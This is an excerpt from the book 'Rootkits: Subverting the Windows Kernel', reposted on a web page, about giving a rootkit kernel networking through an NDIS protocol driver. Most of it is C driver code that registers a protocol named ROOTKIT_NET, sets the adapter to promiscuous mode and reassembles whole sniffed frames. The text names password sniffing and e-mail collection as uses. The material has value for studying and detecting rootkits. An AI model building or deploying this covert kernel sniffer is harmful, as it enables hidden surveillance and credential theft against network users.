Kernel TCPIP Support for Your Rootkit Using NDIS

 < Day Day Up > 

Kernel TCP/IP Support for Your Rootkit Using NDIS

So far, we have shown only how to craft raw packets from a user-mode program. This is fine for experiments, but when it comes to creating a real-world rootkit, you must be able to send and receive raw packets from the kernel.

Using the NDIS interface allows a driver access to raw packets. While NDIS is best used to sniff packets, you can also send raw packets using an NDIS driver.

Our example is an NDIS protocol driver. It allows forging as well as sniffing of raw packets. Our protocol driver does not filter packets; we cannot control packets going to and from the host (our rootkit is not a packet firewall). We get a copy of each packet to sniff, not the original.

To start sniffing, we must first register a protocol, and then define callback functions that will handle events.

Registering the Protocol

In order to begin sniffing packets, you must register a protocol-characteristics structure with the system. This requires a linkage argument that specifies which interface (Ethernet interface, wireless card, etc.) you will be working with. The interface is sometimes called the MAC. In our example, we hard-code this argument, and we give our protocol the name ROOTKIT_NET.

 #include "ntddk.h" // Important! Place this before ndis.h. #define NDIS40   1 #include "ndis.h" #include "stdio.h" struct UserStruct {    ULONG   mData; } gUserStruct; // handle to the open network adapter NDIS_HANDLE      gAdapterHandle; NDIS_HANDLE      gNdisProtocolHandle; NDIS_EVENT       gCloseWaitEvent; NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {    UINT             aMediumIndex = 0;    NDIS_STATUS      aStatus, anErrorStatus;    // We try only 802.3.    NDIS_MEDIUM      aMediumArray=NdisMedium802_3;    UNICODE_STRING   anAdapterName;    NDIS_PROTOCOL_CHARACTERISTICS   aProtocolChar;    NDIS_STRING   aProtoName = NDIS_STRING_CONST("ROOTKIT_NET");    DbgPrint("ROOTKIT Loading..."); 

You can obtain the list of potential interfaces from either of the following registry keys[17]:

[17] Code to get TCP bindings can be found at: www.winpcap.polito.it/docs/man/html/Packet_8c-source.html.

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards

  • HKLM\SYSTEM\CurrentControlSet\Services\TcpIp\Linkage

For example, one of our test systems has the following linkages:

 \Device\{6C0B978B-812D-4621-A30B-FD72F6C446AF}   ORiNOCO Wireless LAN PC Card (5 volt) \Device\{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5} \Device\{5436B920-2709-4250-918D-B4ED3BB8CF9A}   Dell TrueMobile 1150 Series Wireless LAN Mini PCI Card \Device\{5A6C6428-C5F2-4BA5-A469-49F607B369F2}   1394 Net Adapter \Device\{357AC276-D8E7-47BF-954D-F3123D3319BD}   3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible) \Device\{6D615BDB-A6C2-471D-992E-4C0B431334F1}   1394 Net Adapter \Device\{83EE41D0-5088-4CC7-BC99-CEA55D5662D2}   3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible) \Device\NdisWanIp \Device\{147E65D7-4065-4249-8679-F79DB39CFC27} \Device\{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F} 

We initialize the adapter name with the linkage name. The format of the string is \Device\{GUID}. Note the use of the "L" prefix before the string. This causes the compiler to treat the string as a UNICODE string.

    RtlInitUnicodeString(                   &anAdapterName,                   L"\\Device\\{453CCFA6-B612-48A2-8389-309D3EC35532}" );    // init sync event for close    NdisInitializeEvent(&gCloseWaitEvent);    theDriverObject->DriverUnload  = OnUnload; 

Next, we initialize the ProtocolCharacteristics structure. This structure includes a series of function pointers that must be initialized. These pointers specify callback functions for a variety of events that will occur. There are many events, but the one we are most interested in occurs when a packet arrives from the network. This is how we can sniff packets. Each of our callback functions is named OnXXX and OnXXX Done, where XXX is named according to the callback.

    ///////////////////////////////////////////////////////////    // init network sniffer - This is all standard and    // documented in the DDK.    ///////////////////////////////////////////////////////////    RtlZeroMemory( &aProtocolChar,          sizeof(NDIS_PROTOCOL_CHARACTERISTICS));    aProtocolChar.MajorNdisVersion            = 4;    aProtocolChar.MinorNdisVersion            = 0;    aProtocolChar.Reserved                    = 0;    aProtocolChar.OpenAdapterCompleteHandler  = OnOpenAdapterDone;    aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;    aProtocolChar.SendCompleteHandler         = OnSendDone;    aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;    aProtocolChar.ResetCompleteHandler        = OnResetDone;    aProtocolChar.RequestCompleteHandler      = OnRequestDone;    aProtocolChar.ReceiveHandler              = OnReceiveStub; aProtocolChar.ReceiveCompleteHandler         = OnReceiveDoneStub;    aProtocolChar.StatusHandler               = OnStatus;    aProtocolChar.StatusCompleteHandler       = OnStatusDone;    aProtocolChar.Name                        = aProtoName;    aProtocolChar.BindAdapterHandler          = OnBindAdapter;    aProtocolChar.UnbindAdapterHandler        = OnUnbindAdapter; aProtocolChar.UnloadHandler                  = OnProtocolUnload;    aProtocolChar.ReceivePacketHandler        = OnReceivePacket;    aProtocolChar.PnPEventHandler             = OnPNPEvent;    DbgPrint("ROOTKIT: Registering NDIS Protocol\n"); 

Finally, we call NdisRegisterProtocol to register the protocol-characteristics structure with the system. This must occur before we can bind to the adapter and start receiving packets.

    // We must register a protocol before we can bind to the MAC.    NdisRegisterProtocol(&aStatus,                         &gNdisProtocolHandle,                         &aProtocolChar, sizeof(NDIS_PROTOCOL_CHARACTERISTICS));    if (aStatus != NDIS_STATUS_SUCCESS)    {       char _t[255];       _snprintf(_t, 253, "DriverEntry: ERROR NdisRegisterProtocol failed with error 0x%08X", aStatus);       DbgPrint(_t);       return aStatus;    } 

If the protocol has been registered successfully, we then call NdisOpenAdapter(). NdisOpenAdapter "connects" us to the specified interface. Once this call is made, the callback functions begin to be called by the NDIS library. Think of this point in the code as "going live."

Note that NdisOpenAdapter can return a status code of "pending." This means that the open operation did not complete immediately. If this happens, the NDIS library will call our callback OnOpenAdapterDone once the operation has completed. In this way, our code never blocks. On the other hand, if NdisOpenAdapter does complete immediately, we must specifically call OnOpenAdapterDone.

It is very important to remember that we must call the XXX Done version of a callback if a call completes immediately.

    // NdisOpenAdapter opens a connection between the protocol    // and the physical adapter (MAC layer).    NdisOpenAdapter(       &aStatus,            // return code       &anErrorStatus,      // return code       &gAdapterHandle,     // returns a handle to the binding       &aMediumIndex,       // ptr to int which is an                            // index into a 'medium' array -                            // indicates what the MAC should                            // be 'viewed' as       &aMediumArray,       // array of 'medium' types       1,                   // number of elements in the 'medium' array       gNdisProtocolHandle, // the handle returned from                            // NdisRegisterProtocol       &gUserStruct,        // ptr to a user controlled                            // structure. This is up to the programmer.       &anAdapterName,      // name of the adapter to be opened       0,                   // bit mask of options       NULL);               // ptr to additional info to                            // pass to MacOpenAdapter    if (aStatus != NDIS_STATUS_PENDING)    {       if(FALSE == NT_SUCCESS(aStatus))       {          // Something bad happened; close everything down.          char _t[255];          _snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter                    returned an error 0x%08X",                    aStatus);          DbgPrint(_t);          // helpful hint          if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)          {             DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND");          }          // Remove the protocol or suffer a BSOD!          NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);          if(FALSE == NT_SUCCESS(aStatus))          {             DbgPrint("DeregisterProtocol failed!");          }          // Use for winCE -          NdisFreeEvent(gCloseWaitEvent);          return STATUS_UNSUCCESSFUL;       }       else       {          OnOpenAdapterDone(             &gUserStruct,             aStatus,             NDIS_STATUS_SUCCESS             );       }    }    return STATUS_SUCCESS; } 

We have seen how to define and register a protocol. Next we discuss the callback functions that will handle events.

The Protocol Driver Callbacks

Although they must exist, most of our callback functions do nothing. The only ones requiring specific implementation are OnOpenAdapterDone and OnCloseAdapterDone. We also add some code to OnReceiveStub to print information whenever a packet it sniffed.

The OnOpenAdapterDone function checks to see whether there has been an error opening the interface. If everything is fine, it then attempts to put the interface into promiscuous mode that is, sniffing all packets on the network. This is done using a call to NdisRequest and mode NDIS_PACKET_TYPE_PROMISCUOUS:

 VOID OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,                IN NDIS_STATUS Status,                IN NDIS_STATUS OpenErrorStatus ) {    NDIS_REQUEST      anNdisRequest;    NDIS_STATUS       anotherStatus;    ULONG           aMode = NDIS_PACKET_TYPE_PROMISCUOUS;    DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");    if(NT_SUCCESS(OpenErrorStatus))    {       // Put the card into promiscuous mode.       anNdisRequest.RequestType = NdisRequestSetInformation;       anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;       anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;       anNdisRequest.DATA.SET_INFORMATION \                                          .InformationBufferLength = sizeof(ULONG);       NdisRequest(&anotherStatus,                gAdapterHandle,                &anNdisRequest );    }    else    {       char _t[255];       _snprintf(_t, 252, "OnOpenAdapterDone called with error code 0x%08X", OpenErrorStatus);       DbgPrint(_t);    } } 

Next we set an event in OnCloseAdapterDone to indicate to the rest of the driver when a close operation has completed. This enables the rootkit to determine whether it is necessary to wait for the interface to close before unloading the driver from memory.

 VOID OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,                 IN NDIS_STATUS Status ) {    DbgPrint("ROOTKIT: OnCloseAdapterDone called\n");    // Sync with unload event.    NdisSetEvent(&gCloseWaitEvent); } VOID OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,           IN PNDIS_PACKET pPacket,          IN NDIS_STATUS Status ) {    DbgPrint("ROOTKIT: OnSendDone called\n"); } VOID OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,                 IN PNDIS_PACKET thePacketP,                 IN NDIS_STATUS theStatus,                 IN UINT theBytesTransfered ) {    DbgPrint("ROOTKIT: OnTransferDataDone called\n"); } 

The OnReceiveStub function is called whenever a packet is sniffed from the network. The HeaderBuffer argument will contain a pointer to the Ethernet header. The LookAheadBuffer may contain a pointer to the rest of the packet.

Warning: the look-ahead buffer is not guaranteed to contain the entire packet. You cannot rely solely upon the look-ahead buffer to sniff complete packets.

In our example, we simply return NDIS_STATUS_NOT_ACCEPTED to indicate that we aren't interested in the packet.

 /* a packet has arrived */ NDIS_STATUS OnReceiveStub(               IN NDIS_HANDLE ProtocolBindingContext, /* our open                                                      structure */    IN NDIS_HANDLE MacReceiveContext,    IN PVOID HeaderBuffer, /* ethernet header */    IN UINT HeaderBufferSize,    IN PVOID LookAheadBuffer, /* it is possible to have                              entire packet in here */    IN UINT LookaheadBufferSize,    UINT PacketSize ) {    char _t[255];    UINT aFrameType = 0;    // Report the frame type to the debugger.    memcpy(&aFrameType, ( ((char *)HeaderBuffer) + 12), 2);    _snprintf(_t, 253, "sniffed frame type %u, packetsize %u",              aFrameType, PacketSize);    DbgPrint(_t);    // Ignore everything.    return NDIS_STATUS_NOT_ACCEPTED; } VOID OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext ) {    DbgPrint("ROOTKIT: OnReceiveDoneStub called\n");     return; } VOID OnStatus( IN NDIS_HANDLE ProtocolBindingContext,         IN NDIS_STATUS Status,         IN PVOID StatusBuffer,         IN UINT StatusBufferSize ) {     DbgPrint("ROOTKIT: OnStatus called\n");    return; } VOID OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext ) {    DbgPrint("ROOTKIT:OnStatusDone called\n");     return; } VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext,               IN NDIS_STATUS Status ) {    DbgPrint("ROOTKIT: OnResetDone called\n");     return; } VOID OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext,             IN PNDIS_REQUEST NdisRequest,             IN NDIS_STATUS Status ) {    DbgPrint("ROOTKIT: OnRequestDone called\n");     return; } VOID OnBindAdapter(OUT PNDIS_STATUS theStatus,                   IN NDIS_HANDLE theBindContext,                   IN PNDIS_STRING theDeviceNameP,                   IN PVOID theSS1,                   IN PVOID theSS2 ) {    DbgPrint("ROOTKIT: OnBindAdapter called\n");        return; } VOID OnUnbindAdapter(OUT PNDIS_STATUS theStatus,                   IN NDIS_HANDLE theBindContext,                   IN PNDIS_HANDLE theUnbindContext ) {    DbgPrint("ROOTKIT: OnUnbindAdapter called\n");       return; } NDIS_STATUS   OnPNPEvent(IN NDIS_HANDLE                          ProtocolBindingContext,                          IN PNET_PNP_EVENT pNetPnPEvent) {    DbgPrint("ROOTKIT: PtPnPHandler called");    return NDIS_STATUS_SUCCESS; } VOID OnProtocolUnload( VOID ) {    DbgPrint("ROOTKIT: OnProtocolUnload called");    return; } INT    OnReceivePacket(IN NDIS_HANDLE                        ProtocolBindingContext,                        IN PNDIS_PACKET Packet ) {    DbgPrint("ROOTKIT: OnReceivePacket called\n");    return 0; } 

Finally, we implement an unload routine. This routine closes the adapter, and then waits for an event that will fire when the adapter has been closed (recall OnCloseAdapterDone, discussed earlier). Unless we wait for the adapter to close, our callback functions may still get called. If we unload the driver without closing the adapter first, an attempt will be made to call our callback functions after they have been unloaded from memory hence, a big fat Blue Screen of Death!

 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {    NDIS_STATUS        Status;    DbgPrint("ROOTKIT: OnUnload called\n");    NdisResetEvent(&gCloseWaitEvent);    NdisCloseAdapter(       &Status,       gAdapterHandle);    // We must wait for this to complete.    // ---------------------------------    if(Status == NDIS_STATUS_PENDING)    {       DbgPrint("rootkit: OnUnload: pending wait event\n");       NdisWaitEvent(&gCloseWaitEvent, 0);    }    NdisDeregisterProtocol( &Status, gNdisProtocolHandle);    if(FALSE == NT_SUCCESS(Status))    {       DbgPrint("DeregisterProtocol failed!");    }    // Use for winCE - NdisFreeEvent(gCloseWaitEvent);    DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n"); } 

Moving Whole Packets

As we stated earlier, the OnReceiveStub function does not always receive whole packets in the LookAheadBuffer. We must implement a way to ensure that we get the entire packet. This requires a call to NdisTransportData and the management of some buffer structures.

We create two additional global variables, for a packet pool and a buffer pool. Then, in OnOpenAdapterDone, we initialize these variables, using NdisAllocatePacketPool and NdisAllocateBufferPool:

 NDIS_HANDLE     gPacketPoolH; NDIS_HANDLE     gBufferPoolH; VOID OnOpenAdapterDone(IN NDIS_HANDLE ProtocolBindingContext,                   IN NDIS_STATUS Status,                   IN NDIS_STATUS OpenErrorStatus ) {    NDIS_STATUS     aStatus;    NDIS_REQUEST    anNdisRequest;    NDIS_STATUS     anotherStatus;    ULONG           aMode = NDIS_PACKET_TYPE_PROMISCUOUS;    DbgPrint("ROOTKIT: OnOpenAdapterDone called\n");    if(NT_SUCCESS(OpenErrorStatus))    {       // Put the card into promiscuous mode.       anNdisRequest.RequestType = NdisRequestSetInformation;       anNdisRequest.DATA.SET_INFORMATION.Oid =                                               OID_GEN_CURRENT_PACKET_FILTER;       anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;       anNdisRequest.DATA.SET_INFORMATION. \                                            InformationBufferLength = sizeof(ULONG);       NdisRequest(   &anotherStatus,                gAdapterHandle,                &anNdisRequest );       NdisAllocatePacketPool(             &aStatus,             &gPacketPoolH,             TRANSMIT_PACKETS,             sizeof(PACKET_RESERVED));       if (aStatus != NDIS_STATUS_SUCCESS)       {          return;       }       NdisAllocateBufferPool(                &aStatus,                &gBufferPoolH,                TRANSMIT_PACKETS );       if (aStatus != NDIS_STATUS_SUCCESS)       {          return;       }    }    else    {       char _t[255];       _snprintf(_t, 252, "OnOpenAdapterDone called                 with error code 0x%08X",                 OpenErrorStatus);       DbgPrint(_t);    } } 

Using the buffer and packet pool handles, we can now initiate a data move operation in our receive callback. We check to make sure that the packet is an Ethernet packet, and then store the Ethernet header. We then allocate a buffer and a packet from our pool. The NDIS_PACKET structure contains a reserved field where we store a copy of the Ethernet header. The NDIS_PACKET structure also includes a chain of buffers to which the rest of the packet is copied. We allocate one buffer large enough to hold the remaining packet, and "chain" it to the NDIS_PACKET. Now we call NdisTransferData to move the rest of the packet into the chained buffer.

NdisTransferData may complete immediately, or it may return a status code of "pending." If the operation is pending, the OnTransferDataDone callback will be called when it is complete. Remember that if NdisTransferData completes immediately, we must call OnTransferDataDone ourselves!

 /* a packet has arrived */ NDIS_STATUS OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* our open structure */             IN NDIS_HANDLE MacReceiveContext,             IN PVOID HeaderBuffer, /* ethernet header */             IN UINT HeaderBufferSize,             IN PVOID LookAheadBuffer, /* it is possible to                                       have entire packet in here*/             IN UINT LookaheadBufferSize,             UINT PacketSize ) {    PNDIS_PACKET   pPacket;    PNDIS_BUFFER   pBuffer;    ULONG         SizeToTransfer = 0;    NDIS_STATUS   Status;    UINT         BytesTransfered;    ULONG         BufferLength;    PPACKET_RESERVED Reserved;    NDIS_HANDLE   BufferPool;    PVOID         aTemp;    UINT         Frame_Type = 0;    DbgPrint("ROOTKIT: OnReceiveStub called\n");    SizeToTransfer = PacketSize;    if(   (HeaderBufferSize > ETHERNET_HEADER_LENGTH)       ||       (SizeToTransfer > (1514 - ETHERNET_HEADER_LENGTH) ))    {       DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted packet\n");       return NDIS_STATUS_NOT_ACCEPTED;    }    memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 12), 2);    /*     * ignore everything     * except IP (network byte order)     */    if(Frame_Type != 0x0008)    {       DbgPrint("Ignoring NON-Ethernet frame");       return NDIS_STATUS_NOT_ACCEPTED;    }    /* store ethernet payload */    aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));    if(aTemp)    {       //DbgPrint("ROOTKIT: ORI: store ethernet payload\n");       RtlZeroMemory(aTemp, (1514 - ETHERNET_HEADER_LENGTH ));       NdisAllocatePacket(          &Status,          &pPacket,          gPacketPoolH /*previous NdisAllocatePacketPool*/          );       if (NDIS_STATUS_SUCCESS == Status)       {          //DbgPrint("ROOTKIT: ORI: store ethernet header\n");          /* store ethernet header */          RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(                                              NonPagedPool,                                              ETHERNET_HEADER_LENGTH);          DbgPrint("ROOTKIT: ORI: checking ptr\n");          if(RESERVED(pPacket)->pHeaderBufferP)          {             //DbgPrint("ROOTKIT: ORI: pHeaderBufferP\n");             RtlZeroMemory(                           RESERVED(pPacket)->pHeaderBufferP,                           ETHERNET_HEADER_LENGTH);             memcpy(RESERVED(pPacket)->pHeaderBufferP,             (char *)HeaderBuffer,             ETHERNET_HEADER_LENGTH);             RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;             NdisAllocateBuffer(                &Status,                &pBuffer,                gBufferPoolH,                aTemp,                (1514 - ETHERNET_HEADER_LENGTH)                );             if (NDIS_STATUS_SUCCESS == Status)             {                //DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS\n");                /* I have to release this later */                RESERVED(pPacket)->pBuffer = aTemp;                /*  Attach our buffer to the packet..                important */                NdisChainBufferAtFront(pPacket, pBuffer);                //DbgPrint("ROOTKIT: ORI: NdisTransferData\n");                NdisTransferData(                   &(gUserStruct.mStatus),                   gAdapterHandle,                   MacReceiveContext,                   0,                   SizeToTransfer,                   pPacket,                   &BytesTransfered);                if (Status != NDIS_STATUS_PENDING)                {                   //DbgPrint("ROOTKIT: ORI: did not pend\n");                   /*  If it didn't pend, call the                   completion routine now */                   OnTransferDataDone(                      &gUserStruct,                      pPacket,                      Status,                      BytesTransfered                      );                }                return NDIS_STATUS_SUCCESS;             }             ExFreePool(RESERVED(pPacket)->pHeaderBufferP);          }          else          {             DbgPrint("ROOTKIT: ORI: pHeaderBufferP allocation failed!\n");          }          //DbgPrint("ROOTKIT: ORI: NdisFreePacket()\n");          NdisFreePacket(pPacket);       }       //DbgPrint("ROOTKIT: ORI: ExFreePool()\n");       ExFreePool(aTemp);    }    return NDIS_STATUS_SUCCESS; } 

Finally, let's look at OnTransferDataDone to see how we reconstruct the whole packet. We get the header buffer that we previously stored in the NDIS_PACKET reserved field, and we also get the remaining packet data from our chained buffer. The chained buffer does not include the header buffer, so we concatenate the two buffers to reconstruct the entire raw frame. We then free and reinitialize the buffer and packet-pool resources so they can be used again.

Once we have the complete raw frame, we call an OnSniffedPacket function with a pointer to the frame and its length:

 VOID OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,                 IN PNDIS_PACKET thePacketP,                 IN NDIS_STATUS theStatus,                 IN UINT theBytesTransfered ) {    PNDIS_BUFFER   aNdisBufP;    PVOID         aBufferP;    ULONG         aBufferLen;    PVOID         aHeaderBufferP;    ULONG         aHeaderBufferLen;    //DbgPrint("ROOTKIT: OnTransferDataDone called\n");    ///////////////////////////////////////////////////////////    // We have a complete packet here, so process internally.    ///////////////////////////////////////////////////////////    aBufferP = RESERVED(thePacketP)->pBuffer;    aBufferLen = theBytesTransfered;    aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP;    aHeaderBufferLen = RESERVED(thePacketP)->pHeaderBufferLen;    ///////////////////////////////////////////////////////////    // aHeaderBufferP should be the Ethernet Header.    // aBufferP should be the TCP/IP packet    ///////////////////////////////////////////////////////////    if(aBufferP && aHeaderBufferP)    {       ULONG aPos = 0;       char *aPtr = NULL;       aPtr = ExAllocatePool( NonPagedPool,                              (aHeaderBufferLen + aBufferLen) );       if(aPtr)       {          memcpy(aPtr,                aHeaderBufferP,                aHeaderBufferLen );          memcpy(aPtr + aHeaderBufferLen,                aBufferP,                aBufferLen );          // We have a complete packet ready to examine.          // First parse this packet for embedded commands.          OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));          ExFreePool(aPtr);       }       //DbgPrint("ROOTKIT: OTDD: Freeing Packet Memory\n");       ExFreePool(aBufferP); // We are full.       ExFreePool(aHeaderBufferP); // We are full.    }    /* free buffer */    //DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront\n");    NdisUnchainBufferAtFront(                             thePacketP, &aNdisBufP); // free buffer descriptor        if(aNdisBufP) NdisFreeBuffer(aNdisBufP);        /* recycle */    //DbgPrint("ROOTKIT: OTDD: NdisReinitializePacket\n");        NdisReinitializePacket(thePacketP);        NdisFreePacket(thePacketP);        return; } 

The OnSniffedPacket function can do anything you want. Our example just prints some data about the packet.

 void OnSniffedPacket(const char* theData, int theLen) {    char _c[255];    _snprintf(_c, 253, "OnSniffedPacket: got packet length %d", theLen);    DbgPrint(_c); } 

We now have all the basic building blocks for raw packet sniffing in our rootkit. We could use this for password sniffing, passive scanning, or e-mail collection. We next discuss some of the effects that are possible if we also send packets to the network.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    Similar book on Amazon

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net